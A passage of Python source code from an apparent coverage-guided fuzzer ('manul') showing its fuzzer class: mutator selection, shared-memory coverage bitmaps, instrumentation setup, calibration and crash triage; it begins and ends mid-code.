\"radamsa:0\" not in args.mutator_weights:\n self.radamsa_fuzzer = radamsa.RadamsaFuzzer(RAND(MAX_SEED))\n self.radamsa_fuzzer.load_library(self.radamsa_path)\n else:\n self.radamsa_fuzzer = None\n\n self.token_dict = list()\n self.timeout = args.timeout\n self.disable_volatile_bytes = args.disable_volatile_bytes\n net_sleep_between_cases = float(args.net_sleep_between_cases)\n\n self.user_mutators = dict()\n self.mutator_weights = OrderedDict()\n total_weights = 0\n try:\n weights = args.mutator_weights.split(\",\")\n for weight in weights:\n name, weight = weight.split(\":\")\n total_weights += int(weight)\n self.mutator_weights[name] = total_weights\n except:\n ERROR(\"Invalid format for mutator_weights string, check manul.config file\")\n\n if total_weights != 10:\n ERROR(\"Weights in mutator_weights should have 10 in sum, check manul.config file\")\n\n try:\n if args.dict:\n fd = open(args.dict, 'r')\n content = fd.readlines()\n fd.close()\n for line in content:\n line = line.replace(\"\\n\", \"\")\n if line.startswith(\"#\") or line == \"\":\n continue\n line = bytearray(line, \"utf-8\")\n self.token_dict.append(line)\n except:\n WARNING(None, \"Failed to parse dictionary file, dictionary is in invalid format or not accessible\")\n\n self.current_file_name = None\n self.prev_hashes = dict() # used to store hash of coverage bitmap for each file\n for file_name in list_of_files:\n self.prev_hashes[file_name] = None\n\n self.cmd_fuzzing = args.cmd_fuzzing\n\n if args.user_signals:\n self.user_defined_signals = args.user_signals.split(\",\")\n else:\n self.user_defined_signals = None\n\n self.dbi_pipe_handler = None\n if dbi_setup:\n self.dbi_engine_path = dbi_setup[0]\n self.dbi_tool_path = dbi_setup[1]\n self.dbi_tool_params = dbi_setup[2]\n if args.dbi_persistence_mode >= 1:\n INFO(1, None, None, \"Getting PIPE name for fuzzer %d\" % fuzzer_id)\n self.dbi_pipe_handler = dbi_mode.IPCObjectHandler(self.timeout)\n obj_name = self.dbi_pipe_handler.get_ipc_obj_name()\n INFO(1, None, None, \"IPC object name in %s\" % (obj_name))\n self.dbi_tool_params += \"-ipc_obj_name %s\" % (obj_name)\n\n\n self.target_ip = None\n self.target_port = None\n self.target_protocol = None\n if args.target_ip_port:\n self.target_ip = args.target_ip_port.split(':')[0]\n self.target_port = args.target_ip_port.split(':')[1]\n self.target_protocol = args.target_protocol\n\n self.list_of_files = list_of_files\n self.fuzzer_id = fuzzer_id\n self.virgin_bits = list()\n self.virgin_bits = [0xFF] * SHM_SIZE\n\n self.global_map = virgin_bits_global\n self.crash_bits = crash_bits # happens not too often\n self.bitmap_size = 0\n self.avg_bitmap_size = 0\n self.avg_exec_per_sec = 0\n\n self.stats_array = stats_array\n self.restore = restore_session\n\n # creating output dir structure\n self.output_path = args.output + \"/%d\" % fuzzer_id\n self.queue_path = self.output_path + \"/queue\"\n if not args.custom_path:\n self.mutate_file_path = self.output_path + \"/mutations\"\n else:\n self.mutate_file_path = args.custom_path\n\n self.crashes_path = self.output_path + \"/crashes\"\n self.unique_crashes_path = self.crashes_path + \"/unique\"\n\n self.enable_logging = args.logging_enable\n self.log_file = None\n\n self.user_sync_freq = args.sync_freq\n self.sync_bitmap_freq = -1\n\n if not self.restore:\n try:\n os.mkdir(self.output_path)\n except:\n ERROR(\"Failed to create required output dir structure (unique dir)\")\n try:\n os.mkdir(self.queue_path)\n except:\n ERROR(\"Failed to create required output dir structure (queue)\")\n try:\n os.mkdir(self.crashes_path)\n except:\n ERROR(\"Failed to create required output dir structure (crashes)\")\n try:\n os.mkdir(self.unique_crashes_path)\n except:\n ERROR(\"Failed to create required output dir structure (unique crashes)\")\n\n if not args.custom_path:\n try:\n os.mkdir(self.mutate_file_path)\n except:\n ERROR(\"Failed to create output directory for mutated files\")\n\n self.is_dumb_mode = args.simple_mode\n self.input_path = args.input\n self.target_binary_path = args.target_binary # and its arguments\n\n self.fuzzer_stats = FuzzerStats()\n self.stats_file = None\n self.disable_save_stats = args.no_stats\n\n if not self.is_dumb_mode:\n self.trace_bits = self.setup_shm()\n\n for i in range(0, self.SHM_SIZE):\n if self.virgin_bits[i] != 0xFF:\n self.global_map[i] = self.virgin_bits[i]\n elif self.global_map[i] != 0xFF and self.virgin_bits[i] == 0xFF:\n self.virgin_bits[i] = self.global_map[i]\n\n if self.restore:\n if not isfile(self.output_path + \"/fuzzer_stats\"):\n ERROR(\"Fuzzer stats file doesn't exist. Make sure your output is actual working dir of manul\")\n\n self.stats_file = open(self.output_path + \"/fuzzer_stats\", 'r')\n content = self.stats_file.readlines()\n line = None\n for line in content: # getting last line from file to restore session\n pass\n if line is None:\n ERROR(\"Failed to restore fuzzer %d from stats. Invalid fuzzer_stats format\" % self.fuzzer_id)\n\n last = line[:-2] # skipping last symbol space and \\n\n INFO(0, None, None, \"Restoring last stats %s\" % last)\n self.stats_file.close()\n\n bitmap = None\n if not self.is_dumb_mode:\n self.bitmap_file = open(self.output_path + \"/fuzzer_bitmap\", \"rb\")\n bitmap = self.bitmap_file.read()\n self.bitmap_file.close()\n\n self.restore_session(last, bitmap)\n\n if not self.disable_save_stats:\n self.stats_file = open(self.output_path + \"/fuzzer_stats\", 'a+')\n self.bitmap_file = open(self.output_path + \"/fuzzer_bitmap\", 'wb')\n\n if self.enable_logging:\n self.log_file = open(self.output_path + \"/fuzzer_log\", 'a')\n\n self.init_mutators()\n\n self.net_cmd = False\n if self.target_ip:\n self.net_cmd = self.prepare_cmd_to_run(None, True)\n\n self.forkserver_on = args.forkserver_on\n INFO(1, None, None, \"Initalization is done for %d\" % fuzzer_id)\n self.command = Command(self.target_ip, self.target_port, self.target_protocol, self.timeout, args.forkserver_on,\n self.dbi_pipe_handler, args.dbi_persistence_mode)\n\n\n def sync_bitmap(self):\n self.sync_bitmap_freq += 1\n if (self.sync_bitmap_freq % self.user_sync_freq) != 0:\n return\n if self.is_dumb_mode:\n return\n for i in range(0, self.SHM_SIZE):\n if self.virgin_bits[i] != 0xFF:\n self.global_map[i] = self.virgin_bits[i]\n elif self.global_map[i] != 0xFF and self.virgin_bits[i] == 0xFF:\n self.virgin_bits[i] = self.global_map[i]\n\n\n def restore_session(self, last, bitmap):\n # parse previously saved stats line\n last = last.split(\" \")[1:] # cut timestamp\n for index, stat in enumerate(last):\n stat = float(stat.split(\":\")[1]) # taking actual value\n if PY3:\n stat_name = list(self.fuzzer_stats.stats.items())[index][0]\n else:\n stat_name = self.fuzzer_stats.stats.items()[index][0]\n self.fuzzer_stats.stats[stat_name] = stat\n\n if bitmap:\n # restoring and synchronizing bitmap\n '''for i in range(0, SHM_SIZE):\n self.virgin_bits[i] = bitmap[i]\n self.sync_bitmap_freq = self.user_sync_freq # little trick to enable synchronization\n self.sync_bitmap()\n self.sync_bitmap_freq = 0'''\n\n # restoring queue\n final_list_of_files = list()\n new_files = [f for f in os.listdir(self.queue_path) if os.path.isfile(os.path.join(self.queue_path, f))]\n for file_name in new_files:\n final_list_of_files.append((1, file_name)) # this is how we add new files\n\n self.list_of_files = self.list_of_files + final_list_of_files\n\n if self.deterministic: # skip already seen seeds\n for i in range(0, self.fuzzer_stats.stats['executions']):\n random.seed(seed=self.fuzzer_id)\n\n\n def save_stats(self):\n if self.stats_file is None:\n return\n\n self.stats_file.write(str(time.time()) + \" \")\n for index, (k,v) in enumerate(self.fuzzer_stats.stats.items()):\n self.stats_file.write(\"%d:%.2f \" % (index, v))\n self.stats_file.write(\"\\n\")\n self.stats_file.flush()\n\n # saving AFL state\n for file_name in self.list_of_files:\n if not isinstance(file_name, string_types) : file_name = file_name[1]\n self.afl_fuzzer[file_name].save_state(self.output_path)\n\n\n def prepare_cmd_to_run(self, target_file_path, is_net):\n if self.dbi:\n dbi_tool_opt = \"-c\"\n if self.dbi == \"pin\":\n dbi_tool_opt = \"-t\"\n\n binary_path = \"\".join(self.target_binary_path)\n if self.cmd_fuzzing:\n target_file_path = extract_content(target_file_path) # now it is the file content\n\n if not is_net:\n binary_path = binary_path.replace(\"@@\", target_file_path)\n\n final_string = \"%s %s %s %s -- %s\" % (self.dbi_engine_path, dbi_tool_opt, self.dbi_tool_path,\n self.dbi_tool_params, binary_path)\n else:\n final_string = \"\".join(self.target_binary_path)\n if self.cmd_fuzzing:\n target_file_path = extract_content(target_file_path) # now it is the file content\n target_file_path = target_file_path.decode(\"utf-8\", \"replace\")\n target_file_path = target_file_path.replace('\\x00', '')\n max_length = os.sysconf('SC_ARG_MAX') - len(final_string) - 3 # the last 2 is @@\n target_file_path = target_file_path[:max_length]\n\n if not is_net:\n final_string = final_string.replace(\"@@\", target_file_path)\n\n return final_string\n\n\n def setup_shm_win(self):\n from ctypes.wintypes import DWORD, HANDLE, LPCWSTR, LPVOID\n FILE_MAP_ALL_ACCESS = 0xF001F\n PAGE_READWRITE = 0x04\n sh_name = \"%s_%s\" % (str(int(round(time.time()))), self.fuzzer_id)\n szName = c_wchar_p(sh_name)\n\n kernel32_dll = windll.kernel32\n\n create_file_mapping_func = kernel32_dll.CreateFileMappingW\n create_file_mapping_func.argtypes = (HANDLE, LPVOID, DWORD, DWORD, DWORD, LPCWSTR)\n create_file_mapping_func.restype = HANDLE\n map_view_of_file_func = kernel32_dll.MapViewOfFile\n map_view_of_file_func.restype = LPVOID\n\n hMapObject = create_file_mapping_func(-1, None,\n PAGE_READWRITE, 0, self.SHM_SIZE,\n szName)\n if not hMapObject or hMapObject == 0:\n ERROR(\"Could not open file mapping object, GetLastError = %d\" % GetLastError())\n\n pBuf = map_view_of_file_func(hMapObject, FILE_MAP_ALL_ACCESS, 0, 0,\n self.SHM_SIZE)\n if not pBuf or pBuf == 0:\n ERROR(\"Could not map view of file, GetLastError = %d\" % GetLastError())\n\n INFO(0, None, self.log_file, \"Setting up shared mem %s for fuzzer:%d\" % (sh_name,\n self.fuzzer_id))\n os.environ[self.SHM_ENV_VAR] = sh_name\n\n return pBuf\n\n\n def setup_shm(self):\n if sys.platform == \"win32\":\n return self.setup_shm_win()\n\n IPC_PRIVATE = 0\n\n try:\n rt = CDLL('librt.so')\n except:\n rt = CDLL('librt.so.1')\n\n shmget = rt.shmget\n shmget.argtypes = [c_int, c_size_t, c_int]\n shmget.restype = c_int\n shmat = rt.shmat\n shmat.argtypes = [c_int, POINTER(c_void_p), c_int]\n shmat.restype = c_void_p#POINTER(c_byte * self.SHM_SIZE)\n\n shmid = shmget(IPC_PRIVATE, self.SHM_SIZE, 0o666)\n if shmid < 0:\n ERROR(\"shmget() failed\")\n\n addr = shmat(shmid, None, 0)\n\n INFO(0, None, self.log_file, \"Setting up shared mem %d for fuzzer:%d\" % (shmid, self.fuzzer_id))\n os.environ[self.SHM_ENV_VAR] = str(shmid)\n\n return addr\n\n\n def init_mutators(self):\n INFO(0, bcolors.BOLD + bcolors.HEADER, self.log_file, \"Initializing mutators\")\n\n for module_name in self.mutator_weights:\n if \"afl\" == module_name or \"radamsa\" == module_name:\n continue\n try:\n self.user_mutators[module_name] = importlib.import_module(module_name)\n except ImportError as exc:\n ERROR(\"Unable to load user provided mutator %s. %s\" % (module_name, exc.message))\n\n self.user_mutators[module_name].init()\n\n # init AFL fuzzer state\n for file_name in self.list_of_files:\n if not isinstance(file_name, string_types): file_name = file_name[1]\n self.afl_fuzzer[file_name] = afl_fuzz.AFLFuzzer(self.token_dict, self.queue_path, file_name) #assign AFL for each file\n if self.restore:\n self.afl_fuzzer[file_name].restore_state(self.output_path)\n\n\n def dry_run(self):\n\n INFO(0, bcolors.BOLD + bcolors.HEADER, self.log_file, \"Performing dry run\")\n\n useless = 0\n\n for file_name in self.list_of_files:\n # if we have tuple and not string here it means that this file was found during execution and located in queue\n self.current_file_name = file_name\n if not isinstance(file_name, string_types):\n file_name = file_name[1]\n full_input_file_path = self.queue_path + \"/\" + file_name\n else:\n full_input_file_path = self.input_path + \"/\" + file_name\n\n shutil.copy(full_input_file_path, self.mutate_file_path + \"/.cur_input\")\n full_input_file_path = self.mutate_file_path + \"/.cur_input\"\n\n memset(self.trace_bits, 0x0, SHM_SIZE)\n\n if self.target_ip:\n err_code, err_output = self.command.net_send_data_to_target(extract_content(full_input_file_path), self.net_cmd)\n else:\n cmd = self.prepare_cmd_to_run(full_input_file_path, False)\n INFO(1, bcolors.BOLD, self.log_file, \"Launching %s\" % cmd)\n err_code, err_output = self.command.run(cmd)\n\n if err_code and err_code != 0:\n INFO(1, None, self.log_file, \"Initial input file: %s triggers an exception in the target\" % file_name)\n if self.is_critical(err_output, err_code):\n WARNING(self.log_file, \"Initial input %s leads target to crash (did you disable leak sanitizer?). \"\n \"Enable --debug to check actual output\" % file_name)\n INFO(1, None, self.log_file, err_output)\n elif self.is_problem_with_config(err_code, err_output):\n WARNING(self.log_file, \"Problematic file %s\" % file_name)\n\n trace_bits_as_str = string_at(self.trace_bits, SHM_SIZE)\n\n # count non-zero bytes just to check that instrumentation actually works\n non_zeros = [x for x in trace_bits_as_str if x != 0x0]\n if len(non_zeros) == 0:\n INFO(1, None, self.log_file, \"Output from target %s\" % err_output)\n if \"is for the wrong architecture\" in err_output:\n ERROR(\"You should run 32-bit drrun for 32-bit targets and 64-bit drrun for 64-bit targets\")\n ERROR(\"%s doesn't cover any path in the target, Make sure the binary is actually instrumented\" % file_name)\n\n ret = self.has_new_bits(trace_bits_as_str, True, list(), self.virgin_bits, False, full_input_file_path)\n if ret == 0:\n useless += 1\n WARNING(self.log_file, \"Test %s might be useless because it doesn't cover new paths in the target, consider removing it\" % file_name)\n else:\n self.sync_bitmap()\n\n if useless != 0:\n WARNING(self.log_file, \"%d out of %d initial files are useless\" % (useless, len(self.list_of_files)))\n\n INFO(0, bcolors.BOLD + bcolors.OKBLUE, self.log_file, \"Dry run finished\")\n self.fuzzer_stats.stats['executions'] += 1.0\n self.update_stats()\n\n\n def has_new_bits(self, trace_bits_as_str, update_virgin_bits, volatile_bytes, bitmap_to_compare, calibration, full_input_file_path):\n\n ret = 0\n\n #print_bitmaps(bitmap_to_compare, trace_bits_as_str, full_input_file_path)\n\n if not calibration:\n hash_current = zlib.crc32(trace_bits_as_str) & 0xFFFFFFFF\n\n if not isinstance(self.current_file_name, string_types):\n self.current_file_name = self.current_file_name[1]\n\n prev_hash = self.prev_hashes.get(self.current_file_name, None)\n\n if prev_hash and hash_current == prev_hash:\n return 0\n self.prev_hashes[self.current_file_name] = hash_current\n\n for j in range(0, SHM_SIZE):\n if j in volatile_bytes:\n continue # ignoring volatile bytes\n\n if PY3:\n trace_byte = trace_bits_as_str[j] # optimize it and compare by 4-8 bytes or even use xmm0?\n else:\n trace_byte = ord(trace_bits_as_str[j]) # self.trace_bits.contents[j])#\n\n if not trace_byte:\n continue\n\n virgin_byte = bitmap_to_compare[j]\n\n if trace_byte and (trace_byte & virgin_byte):\n if ret < 2:\n if virgin_byte == 0xff:\n ret = 2 # new path discovered\n if update_virgin_bits:\n self.bitmap_size += 1\n else:\n ret = 1 # new hit of existent paths\n\n virgin_byte = virgin_byte & ~trace_byte\n\n if update_virgin_bits:\n bitmap_to_compare[j] = virgin_byte # python will handle potential synchronization issues\n\n return ret\n\n def calibrate_test_case(self, full_file_path):\n volatile_bytes = list()\n trace_bits_as_str = string_at(self.trace_bits, self.SHM_SIZE) # this is how we read memory in Python\n\n bitmap_to_compare = list(\"\\x00\" * self.SHM_SIZE)\n for i in range(0, self.SHM_SIZE):\n if PY3:\n bitmap_to_compare[i] = trace_bits_as_str[i]\n else:\n bitmap_to_compare[i] = ord(trace_bits_as_str[i])\n\n cmd, data = None, None\n if self.target_ip: # in net mode we only need data\n data = extract_content(full_file_path)\n else:\n cmd = self.prepare_cmd_to_run(full_file_path, False)\n\n for i in range(0, self.CALIBRATIONS_COUNT):\n INFO(1, None, self.log_file, \"Calibrating %s %d\" % (full_file_path, i))\n\n memset(self.trace_bits, 0x0, SHM_SIZE)\n if self.target_ip: # in net mode we only need data\n err_code, err_output = self.command.net_send_data_to_target(data, self.net_cmd)\n else:\n INFO(1, None, self.log_file, cmd)\n\n if self.cmd_fuzzing:\n try:\n err_code, err_output = self.command.run(cmd)\n except OSError as e:\n if e.errno == 7:\n WARNING(self.log_file, \"Failed to send this input over command line into the target, input too long\")\n continue\n else:\n ERROR(\"Failed to execute command, error:\", e)\n else:\n err_code, err_output = self.command.run(cmd)\n\n if err_code and err_code > 0:\n INFO(1, None, self.log_file, \"Target raised exception during calibration for %s\" % full_file_path)\n\n trace_bits_as_str = string_at(self.trace_bits, SHM_SIZE) # this is how we read memory in Python\n\n if not self.disable_volatile_bytes:\n for j in range(0, SHM_SIZE):\n if PY3:\n trace_byte = trace_bits_as_str[j]\n else:\n trace_byte = ord(trace_bits_as_str[j])\n if trace_byte != bitmap_to_compare[j]:\n if j not in volatile_bytes:\n volatile_bytes.append(j) # mark offset of this byte as volatile\n\n INFO(1, None, self.log_file, \"We have %d volatile bytes for this new finding\" % len(volatile_bytes))\n\n # let's try to check for new coverage ignoring volatile bytes\n self.fuzzer_stats.stats['blacklisted_paths'] = len(volatile_bytes)\n\n return self.has_new_bits(trace_bits_as_str, True, volatile_bytes, self.virgin_bits, True, full_file_path)\n\n def update_stats(self):\n for i, (k,v) in enumerate(self.fuzzer_stats.stats.items()):\n self.stats_array[i] = v\n\n def is_problem_with_config(self, exc_code, err_output):\n if (exc_code == 127 or exc_code == 126) and not self.cmd_fuzzing: # command not found or permissions\n ERROR(\"Thread %d unable to execute target. Bash return %s\" % (self.fuzzer_id, err_output))\n elif exc_code == 124: # timeout\n WARNING(self.log_file, \"Target failed to finish execution within given timeout, try to increase default timeout\")\n return True\n return False\n\n def generate_new_name(self, file_name):\n iteration = int(round(self.fuzzer_stats.stats['executions']))\n if file_name.startswith(\"manul\"): # manul-DateTime-FuzzerId-iteration_original.name\n base_name = file_name[file_name.find(\"_\")+1:]\n file_name = base_name\n\n now = int(round(time.time()))\n return \"manul-%d-%d-%d_%s\" % (now, self.fuzzer_id, iteration, file_name)\n\n\n def is_critical_win(self, exception_code):\n\n if exception_code == STATUS_CONTROL_C_EXIT:\n return False\n\n if exception_code >= EXCEPTION_FIRST_CRITICAL_CODE and exception_code < EXCEPTION_LAST_CRITICAL_CODE:\n return True\n\n return False\n\n\n def is_critical_mac(self, exception_code):\n if exception_code in critical_signals_nix:\n return True\n\n return False\n\n def is_critifcal_linux(self, exception_code):\n if exception_code in critical_signals_nix:\n return True\n if self.forkserver_on and os.WIFSIGNALED(exception_code):\n return True\n\n return False\n\n def is_critical(self, err_str, err_code):\n\n if err_str and \"Sanitizer\" in err_str or \"SIGSEGV\" in err_str or \"Segmentation fault\" in err_str or \\\n \"core dumped\" in err_str or \"floating point exception\" in err_str:\n return True\n\n if self.user_defined_signals and err_code in self.user_defined_signals:\n return True\n\n if sys.platform == \"win32\":\n return self.is_critical_win(err_code)\n elif sys.platform == \"darwin\":\n return self.is_critical_mac(err_code)\n else: # looks like Linux\n return self.is_critifcal_linux(err_code)\n\n def mutate_radamsa(self, full_input_file_path, full_output_file_path):\n if \"linux\" in sys.platform: # on Linux we just use a shared library to speed up test cases generation\n data = extract_content(full_input_file_path)\n data_new = self.radamsa_fuzzer.radamsa_generate_output(bytes(data))\n save_content(data_new, full_output_file_path)\n return 0\n\n new_seed_str = \"\"\n if self.deterministic:\n new_seed = random.randint(0, sys.maxsize)\n new_seed_str = \"--seed %d \" % new_seed\n\n cmd = \"%s %s%s > %s\" % (self.radamsa_path, new_seed_str, full_input_file_path, full_output_file_path)\n\n INFO(1, None, self.log_file, \"Running %s\" % cmd)\n try:\n subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True) # generate new input\n except subprocess.CalledProcessError as exc:\n WARNING(self.log_file,\n \"Fuzzer %d failed to generate new input from %s due to some problem with radamsa. Error code %d. Return msg %s\" %\n (self.fuzzer_id, full_input_file_path, exc.returncode, exc.output))\n return 1\n return 0\n\n def mutate_afl(self, file_name, full_input_file_path, full_output_file_path):\n data = extract_content(full_input_file_path)\n res = self.afl_fuzzer[file_name].mutate(data, self.list_of_files,\n self.fuzzer_stats.stats['exec_per_sec'],\n self.avg_exec_per_sec, self.bitmap_size,\n self.avg_bitmap_size, 0) # TODO: handicap\n if not res:\n WARNING(self.log_file, \"Unable to mutate data provided using afl\")\n return 1\n if len(data) <= 0:\n WARNING(self.log_file, \"AFL produced empty file for %s\", full_input_file_path)\n\n save_content(data, full_output_file_path)\n return 0\n\n def mutate_input(self, file_name, full_input_file_path, full_output_file_path):\n execution = self.fuzzer_stats.stats['executions'] % 10\n for name in self.mutator_weights:\n weight = self.mutator_weights[name]\n if execution < weight and name == \"afl\":\n return self.mutate_afl(file_name, full_input_file_path, full_output_file_path)\n elif execution < weight and name == \"radamsa\":\n return self.mutate_radamsa(full_input_file_path, full_output_file_path)\n elif execution < weight:\n mutator = self.user_mutators.get(name, None)\n if not mutator:\n ERROR(\"Unable to load user provided mutator %s at mutate_input stage\" % name)\n data = extract_content(full_input_file_path)\n data = mutator.mutate(data)\n if not data:\n ERROR(\"No data returned from user provided mutator. Exciting.\")\n save_content(data, full_output_file_path)\n return 0\n else:\n continue\n\n def run(self):\n if not self.is_dumb_mode:\n self.dry_run()\n\n last_stats_saved_time = 0\n\n if self.restore:\n INFO(0, bcolors.BOLD + bcolors.OKBLUE, self.log_file, \"Session successfully restored\")\n\n start_time = timer()\n cycle_id = 0\n\n while True: # never return\n new_files = list() # empty the list\n elapsed = 0\n cycle_id += 1\n\n for i, file_name in enumerate(self.list_of_files):\n self.current_file_name = file_name\n crash_found = False\n self.fuzzer_stats.stats['file_running'] = i\n\n full_input_file_path = self.input_path + \"/\"\n # if we have tuple and not string here it means that this file was found during execution and located in queue\n if not isinstance(file_name, string_types):\n file_name = file_name[1]\n full_input_file_path = self.queue_path + \"/\"\n full_input_file_path += file_name\n\n if not self.is_dumb_mode:\n memset(self.trace_bits, 0x0, SHM_SIZE) # preparing our bitmap for new run\n\n mutated_name = \".cur_input\"\n full_output_file_path = self.mutate_file_path + \"/\" + mutated_name\n\n # command to generate new input using one of selected mutators\n res = self.mutate_input(file_name, full_input_file_path, full_output_file_path)\n\n if res != 0:\n ERROR(\"Fuzzer %d failed to generate and save new input on disk\" % self.fuzzer_id)\n\n timer_start = timer()\n\n if self.target_ip:\n data = extract_content(full_output_file_path)\n exc_code, err_output = self.command.net_send_data_to_target(data, self.net_cmd)\n else:\n cmd = self.prepare_cmd_to_run(full_output_file_path, False)\n first_iteration = False\n INFO(1, None, self.log_file, \"Running %s\" % cmd)\n\n if self.cmd_fuzzing:\n try:\n exc_code, err_output = self.command.run(cmd)\n except OSError as e:\n if e.errno == 7:\n WARNING(self.log_file, \"Failed to send this input over command line into the target, input too long\")\n continue\n else:\n ERROR(\"Failed to execute command, error:\", e)\n else:\n exc_code, err_output = self.command.run(cmd)\n\n self.fuzzer_stats.stats['executions'] += 1.0\n elapsed += (timer() - timer_start)\n\n if exc_code and exc_code != 0:\n self.fuzzer_stats.stats['exceptions'] += 1\n INFO(1, None, self.log_file, \"Target raised exception and returns 0x%x error code\" % (exc_code))\n\n if self.is_critical(err_output, exc_code):\n INFO(0, bcolors.BOLD + bcolors.OKGREEN, self.log_file, \"New crash found by fuzzer %d\" % self.fuzzer_id)\n self.fuzzer_stats.stats[\"last_crash_time\"] = time.time()\n\n new_name = self.generate_new_name(file_name)\n shutil.copy(full_output_file_path, self.crashes_path + \"/\" + new_name) # copying into crash folder\n self.fuzzer_stats.stats['crashes'] += 1\n\n if not self.is_dumb_mode:\n trace_bits_as_str = string_at(self.trace_bits, SHM_SIZE) # this is how we read memory in Python\n ret = self.has_new_bits(trace_bits_as_str, True, list(), self.crash_bits, False, full_output_file_path)\n if ret == 2:\n INFO(0, bcolors.BOLD + bcolors.OKGREEN, self.log_file, \"Crash is unique\")\n self.fuzzer_stats.stats['unique_crashes'] += 1\n shutil.copy(full_output_file_path, self.unique_crashes_path + \"/\" + new_name) # copying into crash folder with unique crashes\n\n crash_found = True\n\n elif self.is_problem_with_config(exc_code, err_output):\n WARNING(self.log_file, \"Problematic file: %s\" % file_name)\n\n if not crash_found and not self.is_dumb_mode:\n # Reading the coverage\n\n trace_bits_as_str = string_at(self.trace_bits, SHM_SIZE) # this is how we read memory in Python\n # we are not ready to update coverage at this stage due to volatile bytes\n ret = self.has_new_bits(trace_bits_as_str, False, list(), self.virgin_bits, False, full_output_file_path)\n if ret == 2:\n INFO(1, None, self.log_file, \"Input %s produces new coverage, calibrating\" % file_name)\n if self.calibrate_test_case(full_output_file_path) == 2:\n self.fuzzer_stats.stats['new_paths'] += 1\n self.fuzzer_stats.stats['last_path_time'] = time.time()\n INFO(1, None, self.log_file, \"Calibration finished successfully. Saving new finding\")\n\n new_coverage_file_name = self.generate_new_name(file_name)\n INFO(1, None, self.log_file, \"Copying %s to %s\" % (full_output_file_path,\n self.queue_path + \"/\" + new_coverage_file_name))\n\n shutil.copy(full_output_file_path, self.queue_path + \"/\" + new_coverage_file_name)\n\n new_files.append((1, new_coverage_file_name))\n # for each new file assign new AFLFuzzer\n self.afl_fuzzer[new_coverage_file_name] = afl_fuzz.AFLFuzzer(self.token_dict, self.queue_path,\n new_coverage_file_name)\n self.prev_hashes[new_coverage_file_name] = None\n\n self.update_stats()\n\n self.sync_bitmap()\n\n if len(new_files) > 0:\n self.list_of_files = self.list_of_files + new_files\n\n self.fuzzer_stats.stats['files_in_queue'] = len(self.list_of_files)\n\n self.update_stats()\n\n end_time = timer() - start_time\n self.fuzzer_stats.stats['exec_per_sec'] = self.fuzzer_stats.stats['executions'] / end_time\n self.avg_exec_per_sec += int(self.fuzzer_stats.stats['exec_per_sec'] / cycle_id)\n self.avg_bitmap_size += int(self.bitmap_size / cycle_id)\n\n last_stats_saved_time += elapsed\n if last_stats_saved_time > 1: # we save fuzzer stats per iteration or once per second to avoid huge stats files\n self.save_stats()\n last_stats_saved_time = 0\n\n\ndef get_bytes_covered(virgin_bits):\n non_zeros = [x for x in virgin_bits if x != 0xFF]\n return len(non_zeros)\n\n\ndef run_fuzzer_instance(files_list, i, virgin_bits, args, stats_array, restore_session,\n crash_bits, dbi_setup, radamsa_path):\n signal.signal(signal.SIGINT, signal.SIG_IGN)\n printing.DEBUG_PRINT = args.debug # FYI, multiprocessing causes global vars to be reinitialized.\n INFO(0, None, None, \"Starting fuzzer %d\" % i)\n\n fuzzer_instance = Fuzzer(files_list, i, virgin_bits, args, stats_array, restore_session,\n crash_bits, dbi_setup, radamsa_path)\n fuzzer_instance.run() # never return\n\n\ndef check_instrumentation(target_binary):\n with open(target_binary, 'rb') as f:\n s = f.read()\n res = s.find(b\"__AFL_SHM_ID\")\n if res == -1:\n return False\n return True\n\n\ndef which(target_binary):\n def is_binary(target_binary):\n return os.path.isfile(target_binary) and os.access(target_binary, os.X_OK)\n\n fpath, fname = os.path.split(target_binary)\n if fpath:\n if is_binary(target_binary):\n return target_binary\n else:\n for path in os.environ[\"PATH\"].split(os.pathsep):\n exec_file = os.path.join(path, target_binary)\n if is_binary(exec_file):\n return exec_file\n\n return None\n\n\ndef check_binary(target_binary):\n binary_path = which(target_binary)\n if binary_path is None:\n ERROR(\"Unable to find binary %s (required)\" % target_binary)\n\n\ndef get_available_id_for_backup(dir_name):\n id = 0\n tmp = dir_name + \"_%d\" % id\n while True:\n if not os.path.exists(tmp):\n return id\n id += 1\n tmp = dir_name + \"_%d\" % id\n\n\ndef configure_dbi(args, target_binary, is_debug):\n dbi_engine_path = args.dbi_root\n dbi_tool_path = args.dbi_client_root\n dbi_tool_libs = args.dbi_client_libs\n\n if dbi_engine_path is None or dbi_tool_path is None:\n ERROR(\"DBI_ROOT and/or DBI_CLIENT_ROOT paths not specified, unable to execute manul\")\n\n check_binary(dbi_engine_path)\n check_binary(dbi_tool_path)\n\n dbi_tool_params = \"\"\n dbi_pipe_handler = None\n if args.dbi == \"dynamorio\":\n if args.dbi_persistence_mode >= 1:\n if args.dbi_target_module:\n dbi_tool_params += \"-target_module %s \" % args.dbi_target_module\n\n if args.dbi_thread_coverage:\n dbi_tool_params += \"-thread_coverage\"\n\n if args.dbi_target_method:\n dbi_tool_params += \"-target_method %s \" % args.dbi_target_method\n elif args.dbi_target_offset:\n dbi_tool_params += \"-target_offset %s \" % args.dbi_target_offset\n else:\n ERROR(\"Please specify target method or target offset in manul.config\")\n\n dbi_tool_params += \"-fuzz_iterations %d \" % args.dbi_fuzz_iterations\n dbi_tool_params += \"-persistence_mode %d \" % args.dbi_persistence_mode\n\n dbi_tool_params += \"-coverage_module %s \" % ntpath.basename(target_binary)\n\n if dbi_tool_libs is not None:\n for target_lib in dbi_tool_libs.split(\",\"):\n if target_lib == \"\":\n continue\n dbi_tool_params += \"-coverage_module %s \" % target_lib\n if is_debug:\n dbi_tool_params += \"-debug_manul \"\n elif args.dbi == \"pin\":\n if sys.platform == \"win32\":\n ERROR(\"Intel PIN DBI engine is not supported on Windows\")\n if dbi_tool_libs is not None:\n # adding desired libs to instrument\n fd = open(\"dbi_config\", 'w')\n fd.write(dbi_tool_libs)\n fd.close()\n dbi_config_file_path = os.path.abspath(\"dbi_config\")\n dbi_tool_params += \" -libs %s\" % dbi_config_file_path\n else:\n ERROR(\"Unknown dbi engine/option specified. Intel PIN or DynamoRIO are only supported\")\n\n dbi_setup = (dbi_engine_path, dbi_tool_path, dbi_tool_params, dbi_pipe_handler)\n return dbi_setup\n\ndef split_files_by_count(files_list, threads_count):\n # split list of input files by fuzzer instances\n less_files = False\n if len(files_list) < threads_count:\n less_files = True\n WARNING(None, \"Too many fuzzing instances for %d files, same files will be mutated with different seeds\" % len(files_list))\n\n files = [[] for x in xrange(threads_count)]\n thread_index = 0\n # if list of files is less than number of required threads we run our fuzzer with different seed on the same files\n while thread_index < threads_count:\n for i, file_name in enumerate(files_list):\n if less_files and (thread_index + i) >= threads_count:\n break\n piece = 